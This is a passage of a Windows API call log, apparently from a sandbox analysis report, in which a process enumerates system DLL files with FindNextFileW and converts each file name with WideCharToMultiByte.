ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x38c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x38c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x38c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x38c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.465] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x38c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x38c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x38c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x38c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x38c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x38c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0028.466] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0028.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x38c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x38c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x38c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x38c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.467] FindNextFileW (in: hFindFile=0x8b27a8, 